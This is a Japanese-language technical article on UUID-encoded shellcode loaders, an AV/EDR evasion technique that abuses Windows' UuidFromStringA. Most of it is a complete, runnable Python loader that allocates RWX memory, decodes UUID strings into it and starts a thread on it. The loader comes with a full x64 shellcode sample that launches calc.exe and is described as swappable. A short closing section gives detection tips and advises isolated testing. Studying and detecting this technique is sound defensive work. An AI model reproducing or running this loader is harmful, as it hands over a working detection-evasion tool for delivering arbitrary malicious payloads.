まず UUID について理解しましょう: UUID(ユニバーサルユニーク識別子)は、128 ビットの値で、ソフトウェアシステムで一般的に使用され、ほぼユニークであることが保証される参照を提供します。通常、16 進数の数字で構成された文字列形式で表され、5 つの部分に分割されます。その構造と生成方法(タイムスタンプまたはランダム数に基づく)により、UUID が衝突する可能性は非常に低いため、分散システムでオブジェクトや記録を識別するのに非常に適しています。特に、中央集権的なユニーク管理メカニズムが欠如しているシナリオで有効です。
悪意のあるスクリプトは、主に Microsoft が提供する API 関数: UuidFromStringA () を利用しています。この関数は UUID 文字列をバイナリ形式に変換できます。したがって、上記の一連の UUID は、元のバイトにデコードされると、シェルコードとしてメモリに注入されて実行されます。この技術を利用するマルウェアは追跡を逃れる確率が非常に高く、VT スコアはわずか: 2/61 です。
UUID ベースのシェルコードローダー(Python 実装)
このコードは、攻撃者がシェルコードを UUID 形式にエンコードし、メモリにロードして実行する方法をシミュレートしています。実際の攻撃では、このようなコードは AV/EDR 検出を回避するために使用される可能性があります。
簡単なシェルコード(例えば、calc.exe を起動する x64 シェルコード)があると仮定し、それを 16 バイトのブロックに分割し、UUID 形式に変換します:
import ctypes
import uuid
def generate_uuid_shellcode(shellcode):
"""シェルコードをUUID形式の文字列リストに変換します"""
uuid_shellcode = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# 不足16バイトはNOP (0x90) で埋める
if len(chunk) < 16:
chunk += b"\x90" * (16 - len(chunk))
uuid_str = str(uuid.UUID(bytes_le=chunk))
uuid_shellcode.append(uuid_str)
return uuid_shellcode
def execute_uuid_shellcode(uuid_shellcode):
"""メモリにUUID形式のシェルコードをロードして実行します"""
# 読み取り、書き込み、実行可能なメモリを割り当てる (RWX)
rwx_page = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(uuid_shellcode) * 16),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
if not rwx_page:
print("[!] VirtualAllocに失敗しました!")
return False
# UUID文字列をバイナリに戻してメモリに書き込む
ptr = rwx_page
for u in uuid_shellcode:
status = ctypes.windll.rpcrt4.UuidFromStringA(
ctypes.c_char_p(u.encode()),
ctypes.c_void_p(ptr)
)
if status != 0:
print(f"[!] UuidFromStringAに失敗しました (ステータス: {status})")
return False
ptr += 16
# スレッドを作成してシェルコードを実行
thread_handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(rwx_page),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
if not thread_handle:
print("[!] CreateThreadに失敗しました!")
return False
# スレッドの終了を待つ
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(thread_handle),
ctypes.c_int(-1)
)
return True
if __name__ == "__main__":
# サンプルシェルコード (x64計算機を起動するため、実際の研究目的のシェルコードに置き換える必要があります)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
b"\x63\x2e\x65\x78\x65\x00"
)
# UUID形式のシェルコードを生成
print("[+] UUID形式のシェルコードを生成中...")
uuid_shellcode = generate_uuid_shellcode(shellcode)
for u in uuid_shellcode:
print(f'"{u}",')
# シェルコードを実行
print("\n[+] シェルコードを実行中...")
if execute_uuid_shellcode(uuid_shellcode):
print("[+] シェルコードの実行が完了しました!")
else:
print("[!] シェルコードの実行に失敗しました!")
重要なコードの説明#
generate_uuid_shellcode
#
- 元のシェルコードを 16 バイトごとに分割します。
- 各ブロックを UUID 文字列(リトルエンディアン)に変換します。
execute_uuid_shellcode
#
VirtualAlloc
を使用して RWX メモリを割り当てます。UuidFromStringA
を呼び出して UUID をバイナリに戻し、メモリに書き込みます。CreateThread
を介してメモリ内のシェルコードを実行します。
シェルコードの置き換え#
- サンプルのシェルコードは x64 計算機のペイロードであり、実際の研究では他の合法的な用途のシェルコード(例えば、脆弱性研究の PoC)に置き換えることができます。
防御の提案#
次の API 呼び出しを監視します:#
VirtualAlloc
+CreateThread
の組み合わせ。- 長い文字列を変換するための
UuidFromStringA
。
挙動検出:#
- プロセスが RWX メモリを頻繁に割り当てているかどうかを確認します。
- EDR ツール(例: Elastic Endpoint)を使用してメモリ注入の挙動をキャッチします。
テスト環境:#
- このようなコードは隔離された仮想マシン(例: VMware + スナップショット)でのみ実行してください。
常にペネトレーションテストの許可とコンプライアンス要件を遵守してください!